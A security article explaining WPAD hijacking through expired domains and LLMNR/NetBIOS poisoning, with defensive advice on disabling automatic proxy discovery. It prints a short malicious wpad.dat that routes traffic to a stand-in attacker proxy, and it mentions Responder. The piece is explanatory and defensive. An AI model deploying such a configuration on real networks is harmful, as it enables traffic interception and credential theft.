Why Your Network Still Trusts Expired WPAD Domains

TLDR: The Web Proxy Auto-Discovery (WPAD) protocol remains a critical, often overlooked vector for man-in-the-middle attacks. By registering expired or unowned domains matching a target's internal naming convention, an attacker can force client machines to route traffic through a malicious proxy. This research highlights that despite being a decades-old issue, WPAD continues to leak sensitive credentials and internal network data across diverse environments.

Security researchers often chase the latest zero-day in a complex cloud stack, yet we continue to ignore the architectural rot sitting right under our noses. The Web Proxy Auto-Discovery (WPAD) protocol is a prime example of a legacy feature that provides a massive, reliable attack surface for anyone performing internal network assessments. If you are still seeing WPAD enabled in your environment, you are essentially handing an attacker the keys to intercept and inspect your organization's web traffic.

The Mechanics of the WPAD Hijack

The WPAD protocol is designed to simplify life for IT administrators by automatically configuring proxy settings for client machines. When a browser starts, it looks for a configuration file, typically named wpad.dat, to determine how to route traffic. The discovery process is the problem. A client will attempt to resolve a hostname like wpad.company.com via DNS. If that fails, it may fall back to querying wpad.tld or even broadcast requests using LLMNR or NetBIOS.

The vulnerability is simple: if the domain wpad.company.com is not registered, or if it has expired, an attacker can register it. Once they own the domain, they host a malicious wpad.dat file on a web server. When a client machine asks for the configuration, the attacker's server responds with a script that instructs the client to use the attacker's machine as a proxy for all HTTP and FTP traffic.

The technical implementation is straightforward. Using a tool like Responder, an attacker can poison the network to capture these requests. However, as this research demonstrates, you do not even need to be on the local network if you own the domain. By hosting a dynamic script, you can capture the public IP, internal IP, and even the user agent of every client that hits your server.

// Example of a malicious wpad.dat payload
function FindProxyForURL(url, host) {
    if (shExpMatch(host, "*.company.com")) return "DIRECT";
    return "PROXY attacker-server.com:8080";
}

Why This Still Matters

The impact of a successful WPAD hijack is severe. Because the client trusts the proxy configuration, it will send all unencrypted traffic directly to the attacker. Even worse, many applications—including those that perform background updates or telemetry—will blindly follow these proxy instructions. This leads to the exposure of cleartext credentials and sensitive internal data.

During this research, the author registered several domains to monitor incoming traffic. The results were staggering. Over the course of a year, the server logged over 1.1 billion DNS requests. The data captured included cleartext credentials from various applications, including those using NTLMv1, which is notoriously insecure and should have been deprecated years ago. OWASP's guide on Identification and Authentication Failures remains highly relevant here, as these legacy protocols are still being abused to harvest domain credentials.

The Defensive Reality

Defending against this is not about patching a specific piece of software; it is about disabling a dangerous, outdated feature. If your organization does not use a proxy, ensure that WPAD is disabled via Group Policy on all Windows machines. If you must use a proxy, use a static configuration rather than relying on automatic discovery.

For those interested in the history of this vulnerability, it is worth reviewing CVE-1999-0054 and CVE-2007-5355. The fact that we are still discussing these same issues twenty-five years later is a testament to how difficult it is to kill off legacy protocols.

What to Do Next

If you are a pentester, start your next engagement by checking for WPAD misconfigurations. Use Wireshark to monitor for LLMNR or NetBIOS traffic that might indicate a client is searching for a non-existent WPAD server. If you are a defender, audit your internal DNS zones to ensure that no wpad records exist unless they are explicitly managed and secured.

Stop assuming that your internal network is a safe zone. Legacy protocols like WPAD are not just "noise"—they are active, exploitable pathways that turn a simple network misconfiguration into a full-scale credential harvest. Investigate your environment today, because if you don't, someone else will.